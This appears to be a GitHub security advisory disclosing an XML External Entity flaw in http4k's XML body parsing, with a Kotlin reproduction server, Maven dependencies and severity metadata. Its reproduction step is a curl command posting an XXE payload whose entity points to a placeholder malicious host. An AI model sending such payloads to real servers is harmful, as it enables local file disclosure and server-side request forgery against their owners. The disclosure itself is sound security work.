Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled
Complete instructions, including specific configuration details, to reproduce the vulnerability.
import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document
fun main() {
val xmlLens = Body.xml().toLens()
// Create an HTTP handler
val app: HttpHandler = { request ->
try {
// Parse the incoming XML payload to a Document object
val xmlDocument: Document = xmlLens(request)
// Extract root element name or other details from the XML
val rootElementName = xmlDocument.documentElement.nodeName
// Create a response XML based on the extracted information
val responseXml = """
<response>
<message>Root element is: $rootElementName</message>
</response>
""".trimIndent()
// Respond with XML
Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
} catch (e: Exception) {
// Handle invalid XML or other errors
Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
}
}
// Start the server
val server = app.asServer(Netty(9000)).start()
println("Server started on http://localhost:9000")
}
<dependencies>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-test-junit5</artifactId>
<version>1.9.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>5.10.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-stdlib</artifactId>
<version>1.9.0</version>
</dependency>
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-core</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- Http4k XML format -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-format-xml</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- http4k Netty -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-server-netty</artifactId>
<version>5.40.0.0</version>
</dependency>
</dependencies>
curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"
What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability
{
"github_reviewed": true,
"github_reviewed_at": "2024-12-12T19:22:01Z",
"nvd_published_at": "2024-12-12T19:15:13Z",
"cwe_ids": [
"CWE-200",
"CWE-611",
"CWE-918"
],
"severity": "CRITICAL"
}